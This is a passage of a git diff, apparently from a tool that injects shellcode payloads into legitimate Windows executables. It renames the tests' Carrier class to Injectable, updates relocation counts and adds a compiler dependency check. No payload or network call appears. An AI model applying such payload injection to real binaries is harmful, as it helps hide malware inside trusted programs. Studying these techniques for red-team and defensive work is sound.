+ if start(settings) != 0:
+ print("Error")
+
+
def test_exe_code():
print("Testing: EXEs: Inject payload into .text")
settings = Settings("unittest")
@@ -220,6 +250,6 @@ def dll_iat_reuse():
if __name__ == "__main__":
- #setup_logging(level=logging.INFO)
- setup_logging(level=logging.WARNING)
+ setup_logging(level=logging.INFO)
+ #setup_logging(level=logging.WARNING)
main()
diff --git a/tests/test_asmparser.py b/tests/test_asmparser.py
index 1a77c89..be24016 100644
--- a/tests/test_asmparser.py
+++ b/tests/test_asmparser.py
@@ -3,7 +3,7 @@ import unittest
import logging
from model.defs import *
-from model.carrier import Carrier, DataReuseEntry
+from model.injectable import Injectable, DataReuseEntry
from observer import observer
from helper import *
from phases.asmtextparser import parse_asm_text_file
@@ -25,11 +25,11 @@ class AsmTest(unittest.TestCase):
def test_asm_fixup(self):
asm_in: FilePath = "tests/data/peb_walk_pre_fixup.asm"
asm_text = file_readall_text(asm_in)
- carrier = Carrier("fake.exe")
- carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
+ injectable = Injectable("fake.exe")
+ injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
settings: Settings = Settings()
settings.payload_location = PayloadLocation.DATA
- asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
+ asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
# cmp DWORD PTR n$1[rsp], 11223344 ; 00ab4130H
# cmp DWORD PTR n$1[rsp], 272 ; 00ab4130H
@@ -42,30 +42,26 @@ class AsmTest(unittest.TestCase):
# lea r8, [shcstart]
#self.assertTrue("lea r8, [shcstart]" in asm_text_lines[198-1-1])
self.assertTrue("DB 0" in asm_text_lines[198-1-1])
- self.assertTrue("supermega_payload" not in asm_text_lines[198-1-1])
-
- # shcstart:
- self.assertTrue("shcstart:" in asm_text_lines[213-1-1])
def test_asm_iat_request(self):
asm_in: FilePath = "tests/data/iat_reuse_pre_fixup.asm"
asm_text = file_readall_text(asm_in)
- carrier = Carrier("fake.exe")
- carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
+ injectable = Injectable("fake.exe")
+ injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
settings: Settings = Settings()
settings.payload_location = PayloadLocation.DATA
- asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
+ asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
- self.assertEqual(len(carrier.iat_requests), 2)
+ self.assertEqual(len(injectable.iat_requests), 2)
- req1 = carrier.iat_requests[0]
+ req1 = injectable.iat_requests[0]
self.assertEqual(req1.name, "GetEnvironmentVariableW")
- self.assertTrue(len(req1.placeholder), 6) # 6 random bytes
+ self.assertTrue(len(req1.references[0]), 6) # 6 random bytes
- req2 = carrier.iat_requests[1]
+ req2 = injectable.iat_requests[1]
self.assertEqual(req2.name, "VirtualAlloc")
- self.assertTrue(len(req2.placeholder), 6) # 6 random bytes
+ self.assertTrue(len(req2.references[0]), 6) # 6 random bytes
# added ; at the beginning
#self.assertTrue(lines[13-1].startswith("; EXTRN __imp_GetEnvironmentVariableW:PROC"))
@@ -83,22 +79,22 @@ class AsmTest(unittest.TestCase):
def test_data_reuse_entries(self):
asm_in = "tests/data/data_reuse_pre_fixup.asm"
asm_text = file_readall_text(asm_in)
- carrier = Carrier("fake.exe")
- carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
+ injectable = Injectable("fake.exe")
+ injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
settings: Settings = Settings()
settings.payload_location = PayloadLocation.DATA
- asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
+ asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
asm_text = masm_shc(asm_text_lines) # optional here
- data_reuse_entries = carrier.get_all_reusedata_fixups()
+ data_reuse_entries = injectable.get_all_reusedata_fixups()
self.assertEqual(2+1, len(data_reuse_entries))
entry = data_reuse_entries[0+1]
self.assertTrue('$SG72513' in entry.string_ref)
- self.assertTrue('rcx' in entry.register)
+ self.assertTrue('rcx' in entry.references[0].register)
self.assertEqual(entry.data, b"U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00\x00\x00")
self.assertEqual(entry.addr, 0)
- self.assertEqual(7, len(entry.randbytes)) # needs to be 7!
+ self.assertEqual(7, len(entry.references[0].placeholder)) # needs to be 7!
entry = data_reuse_entries[1+1]
self.assertTrue('$SG72514' in entry.string_ref)
@@ -108,11 +104,11 @@ class AsmTest(unittest.TestCase):
asm_in = "tests/data/data_reuse_pre_fixup.asm"
asm_text = file_readall_text(asm_in)
- carrier = Carrier("fake.exe")
- carrier.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
+ injectable = Injectable("fake.exe")
+ injectable.add_datareuse_fixup(DataReuseEntry("supermega_payload"))
settings: Settings = Settings()
settings.payload_location = PayloadLocation.DATA
- asm_text_lines = parse_asm_text_file(carrier, asm_text, settings)
+ asm_text_lines = parse_asm_text_file(injectable, asm_text, settings)
# why -1 -1??
self.assertTrue("\tDB " in asm_text_lines[108-1-1])
diff --git a/tests/test_datareuse.py b/tests/test_datareuse.py
index 316c55d..0e1ef93 100644
--- a/tests/test_datareuse.py
+++ b/tests/test_datareuse.py
@@ -38,7 +38,7 @@ class DataReuseTest(unittest.TestCase):
def test_relocation_list(self):
superpe = SuperPe(PATH_EXES + "7z.exe")
relocs = superpe.get_relocations_for_section(".rdata")
- self.assertEqual(842, len(relocs))
+ self.assertEqual(836, len(relocs))
reloc = relocs[0]
self.assertEqual(393216, reloc.base_rva)
self.assertEqual(394296, reloc.rva)
@@ -49,19 +49,19 @@ class DataReuseTest(unittest.TestCase):
def test_relocmanager(self):
"""Test reference EXE reloc manager information"""
superpe = SuperPe(PATH_EXES + "procexp64.exe")
- rm = superpe.get_rdata_relocmanager()
- self.assertEqual(69, len(rm.intervals))
+ rm = superpe.get_rdata_rangemanager()
+ self.assertEqual(61, len(rm.intervals))
# 0x1ab0 is magic currently (should use find_first_utf16_string_offset()
hole = rm.find_hole(20)
- self.assertEqual(hole, (1167361, 1173015))
+ self.assertEqual(hole, (1174185, 1174591))
def test_largestgap(self):
superpe = SuperPe(PATH_EXES + "7z.exe")
- rm = superpe.get_rdata_relocmanager()
+ rm = superpe.get_rdata_rangemanager()
start, stop = rm.find_hole(100)
- self.assertEqual(393233, start)
- self.assertEqual(394295, stop)
+ self.assertEqual(394513, start)
+ self.assertEqual(396511, stop)
def test_rdata_overwrite(self):
diff --git a/tests/test_superpe.py b/tests/test_superpe.py
index 244ed47..87979fc 100644
--- a/tests/test_superpe.py
+++ b/tests/test_superpe.py
@@ -36,7 +36,7 @@ class SuperPeTest(unittest.TestCase):
# Relocations
base_relocs: List[PeRelocEntry] = superpe.get_base_relocs()
- self.assertEqual(len(base_relocs), 2888)
+ self.assertEqual(len(base_relocs), 2864)
base_reloc = base_relocs[0]
self.assertEqual(base_reloc.rva, 0x11E618)
self.assertEqual(base_reloc.base_rva, 0x11E000)
diff --git a/utils.py b/utils.py
index ce3ad07..6d0edbb 100644
--- a/utils.py
+++ b/utils.py
@@ -3,6 +3,7 @@ import os
import pathlib
import glob
import logging
+import shutil
from config import config
from model.defs import *
@@ -10,6 +11,20 @@ from model.defs import *
logger = logging.getLogger("Utils")
+def check_deps():
+ cl = config.get("path_cl")
+ if shutil.which(cl) == None:
+ logger.error("Missing dependency: " + cl)
+ logger.error("Start in x64 Native Tools Command Prompt for VS 2022")
+ exit(1)
+
+ ml = config.get("path_ml64")
+ if shutil.which(ml) == None:
+ logger.error("Missing dependency: " + ml)
+ logger.error("Start in x64 Native Tools Command Prompt for VS 2022")
+ exit(1)
+
+
def delete_all_files_in_directory(directory_path):
files = glob.glob(os.path.join(directory_path, '*'))
for file_path in files:
diff --git a/web.py b/web.py
index 4fbdd9d..eb7774c 100644
--- a/web.py
+++ b/web.py
@@ -9,10 +9,14 @@ from app.views import views
from app.views_project import views_project
from app.views_shcdev import views_shcdev
from log import setup_logging
+from utils import check_deps
+
if __name__ == "__main__":
logging.getLogger('werkzeug').setLevel(logging.ERROR)
setup_logging()
+ check_deps()
+
parser = argparse.ArgumentParser()
parser.add_argument('--listenip', type=str, help='IP to listen on', default="0.0.0.0")
parser.add_argument('--listenport', type=int, help='Port to listen on', default=5001)